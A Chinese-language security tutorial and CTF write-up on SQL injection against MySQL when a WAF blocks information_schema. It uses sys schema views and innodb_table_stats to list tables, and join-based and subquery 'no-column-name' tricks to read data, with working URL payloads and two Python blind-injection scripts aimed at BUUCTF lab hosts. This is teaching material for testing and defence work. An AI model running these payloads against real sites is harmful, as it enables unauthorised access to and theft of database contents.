Bypass information_schema与无列名注入

文章目录

• Bypass information_schema
• • 前言
  • 前置任务
  • MySQL5.7的新特性
  • • sys.schema_auto_increment_columns
    • schema_table_statistics_with_buffer、x$schema_table_statistics_with_buffer
• 无列名注入
• • 利用join
  • • join … using(xx)
  • 利用普通子查询
  • • [SWPU2019]Web1——无列名注入
  • 加括号逐位比较大小

Bypass information_schema

前言

聊一聊mysql在被waf禁掉了information_schema库后还能有哪些利用思路，这个想法是前一段时间想到的，这次趁着安全客活动就在这里记录一下吧~

实验环境

windows 2008 r2

phpstudy （mysql 5.7）

某waf（原因是该waf可以设置非法访问information_schema数据库）

前置任务

进行bypass之前先了解一下mysql中的information_schma这个库是干嘛的，在SQL注入中它的作用是什么，那么有没有可以替代这个库的方法呢？

information_schema

简单来说，这个库在mysql中就是个信息数据库，它保存着mysql服务器所维护的所有其他数据库的信息，包括了数据库名，表名，字段名等。

​ 在注入中，infromation_schema库的作用无非就是可以获取到table_schema、table_name、column_name这些数据库内的信息。

MySQL5.7的新特性

由于performance_schema过于发杂，所以mysql在5.7版本中新增了

sys schemma

，基础数据来自于performance_chema和information_schema两个库，本身数据库不存储数据。

sys.schema_auto_increment_columns

开始了解这个视图之前，希望你可以想一下当你利用Mysql设计数据库时，是否会给每个表加一个自增的id（或其他名字）字段呢？如果是，那么我们发现了一个注入中在mysql默认情况下就可以替代information_schema库的方法。

schema_auto_increment_columns，该视图的作用简单来说就是用来对表自增ID的监控。

​ 这里我通过security（sqli-labs）和fortest（我自建库）两个库来熟悉一下schema_auto_increment_columns视图的结构组成，以及特性。

fortest库
    data 表存在自增id
    test 表存在自增id
    no_a_i_table 表不存在自增id 
       
security库
    //该库为sqli-labs自动建立
    emails,referers,uagents,users
           

可以发现，fortest库中的no_a_i_table并不在这里存在，然而其他非系统库的表信息全部在这里。根据前面介绍的schema_auto_increment_columns视图的作用，也可以发现我们可以通过该视图获取数据库的表名信息，也就是说找到了一种可以替代information_schema在注入中的作用的方法。

当然了，如果你说我们就是想想通过注入获取到没有自增主键的表的数据怎么办？通过翻阅sys中的视图文档，我又发现了两个视图也许可以实现这种需求？。

schema_table_statistics_with_buffer、x$schema_table_statistics_with_buffer

查询表的统计信息，其中还包括InnoDB缓冲池统计信息，默认情况下按照增删改查操作的总表I/O延迟时间（执行时间，即也可以理解为是存在最多表I/O争用的表）降序排序，数据来源：

performance_schema.table_io_waits_summary_by_table

、

sys.x$ps_schema_table_statistics_io

、

sys.x$innodb_buffer_stats_by_table

​ 通过介绍的内容我们可以很容易的发现，利用“数据来源”同样可以获取到我们需要的信息，所以说这样的话我们的绕过information_schema的思路就更广了。加下来依次看一下各个视图的结构：

sys.schema_table_statistics_with_buffer
    可以看到，在上一个视图中并没有出现的表名在这里出现了。
           

sys.x$schema_table_statistics_with_buffer
           

在从`数据来源`中随便选取一个视图为例（想查看视图详细结构等信息可自行测试）
sys.x$ps_schema_table_statistics_io
可忽略table_name='db'，默认的并非我创建。
           

类似的表还有：mysql.innodb_table_stats、mysql.innodb_table_index都存放有库名表名

无列名注入

上面的方法的确可以获取数据库中表名信息了，但是并没有找到类似于information_schema中COLUMNS（字段）的视图，也就是说我们并不能获取数据？ 当然不是。

利用join

这个思路在ctf中比较常见吧，利用join进行无列名注入，如何利用到这里就显而易见了。

join-using注列名：

通过系统关键词join可建立两个表之间的内连接。通过对想要查询列名所在的表与其自身内连接，会由于冗余的原因(相同列名存在)，而发生错误。并且报错信息会存在重复的列名，可以使用 USING 表达式声明内连接（INNER JOIN）条件来避免报错。

join … using(xx)

​ 简单的记录一下payload吧。以本文开头的环境为例，这里的waf会完全过滤掉information_schema库。

由于开启防护后会拦截正常注入，所以图中payload可能会有些乱，我会将简单的payload整理在下面，绕过防护的部分完全可以自由发挥。

爆表：

schema_auto_increment_columns

?id=-1' union all select 1,2,group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()--+
           

schema_table_statistics_with_buffer

?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
           

其他的就不测试了，都是一个payload。

获取字段名

获取第一列的列名

?id=-1' union all select * from (select * from users as a join users as b)as c--+
           

获取次列及后续列名

?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

?id=-1' union all select*from (select * from users as a join users b using(id,username,password))c--+

数据库中as主要作用是起别名，常规来说都可以省略，但是为了增加可读性，不建议省略。
           

利用普通子查询

实例：

正常的查询如下：

其中，列名为

id

、

name

、

pass

、

mail

、

phone

，使用union查询

select 1,2,3,4,5 union select * from users;      （前提是先尝试出sql中总共有几个列）
           

可见数字与users中的列相应。

接着，就可以继续使用数字来对应列进行查询，如3对应了表里面的pass：

select `3` from (select 1,2,3,4,5 union select * from users)a;
//就相当于select pass from (select 1,2,3,4,5 union select * from users)a;
           

当反引号 ` 不能使用的时候，我们可以使用别名来代替：

select b from (select 1,2,3 as b,4,5 union select * from users)a;

select group_concat(b,c) from (select 1,2,3 as b,4 as c,5 union select * from users)a;  //在注入中查询多个列：
           

究其核心，就是给想要查询的表中的列名进行重命名，或加个序号。

[SWPU2019]Web1——无列名注入

这是一个留言板的二次注入与无列名注入

登录了之后在发布广告处存在sql注入漏洞，我们输入的内容在输入后没有漏洞，当我们发布广告后查看广告详情的时候，后台代码中又通过查询将我们输进去的内容查出来，就造成了二次注入，从而产生了注入。

(往往在这样的地方容易出现sql二次注入、xss、ssti等)

该题目环境过滤了空格，我们使用

来进行绕过，又过滤了or，因此我们无法使用 order by 以及information_schema这个库，因为过滤了注释符

#

，所以查询语句的最后我们要闭合单引号

当广告名为1’时报错

先来看看后台sql语句中的字段数，有TM的22列：

这里最后的

'22

用来闭合sql语句中最后面的引号，为各种注释符都被过滤了。

可知2，3处为注入点。猜测语句

我们来暴库，爆版本：

爆表：

因为information_schema被过滤了，我们要用sys.schema_auto_increment_columns等进行代替，但这里题目环境时buuctf的，他没有这个sys.schema_auto_increment_columns这个库，而且一般要超级管理员才可以访问sys。我们只能用innodb_table_stats。

发现俩表。

通过mysql.innodb_table_stats只能查出数据库和表名，查不出字段，所以之后我们还是要利用无列名注入。

猜想flag应该在users表中，我们先来猜猜users表中字段数：

可知users表中有3列，我们再用无列名注入将其把内容报出来：

得到flag。

(本题由于过滤了join，所以不能用join…using报错)

加括号逐位比较大小

当union select被过滤时，以上两种方法就都不能用了，我们要用加括号逐位比较大小的方法，将flag诸位爆出来，就像这样：

用布尔来进行判断。一般出现在布尔盲注的地方。

例题：

一个post的输入框，存在sql盲注注入（正确则回显

Nu1L

）。但是过滤了很多东西，or、and、union、information_schema、sys.schema_auto_increment_columns、join等都不能用了。我们要是用sys.schema_table_statistics_with_buffer来绕过information_schema，先把表给爆出来：

import requests

url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php'
payload='1&&ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'

result=''
for j in range(1,500):
    for i in range(32,128):
        py=payload.format(j,i)
        datas={'id':py}
        re=requests.post(url=url,data=datas)
        if 'Nu1L' in re.text:
            result+=chr(i)
            print(result)
            break
           

可以看到存在这两张表，下面就要实现无列名注入。但是union select被禁了，我们怎么做呢？？？

这里用到了ascii位偏移，关于ascii偏移的利用，可以看下面的例子

可以看到比较两个字符串的大小与字符串的长度是没有关系的，给定两个字符串，会各取两个字符串的各位字符ascii码来比较，不等式成立返回1，不等式不成立返回0。

这道题我们利用的就是这个特性，我们首先会从构造一个ascii从32到128的循环，与flag字符诸位一一进行对比，满足条件返回Nu1L，输出符合条件的ascii对应的字符，也就是找到了flag的第一个字符，以此类推，直到输出flag所有位的字符。

先通过加括号比较来判断这个表的列数，输入

1&&((1,1)>(select * from f1ag_1s_h3r3_hhhhh))

返回 Nu1L，说明有两列。

import requests

url='http://8e176081-905d-4063-a906-4eed1f03ed17.node3.buuoj.cn/index.php'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
    for i in range(32,128):
        hexchar=flag+chr(i)
        py=payload.format(hexchar)
        datas={'id':py}
        re=requests.post(url=url,data=datas)
        if 'Nu1L' in re.text:
            flag+=chr(i-1)
            print(flag)
            break
           

当我们匹配flag的时候，一定会先经过匹配到字符相等的情况，这一这个时候返回的是0，对应题目中的V&N，很明显此时的chr(char)并不是我们想要的，我们在输出1(Nu1L)的时候，匹配的是f的下一个字符g，而我们想要的是f，此时

chr(char-1)='f'

，所以这里要用

chr(char-1)

关于payload中的

f1ag_1s_h3r3_hhhhh表的第一个字段可能是id啥的，跟咱们没有关系了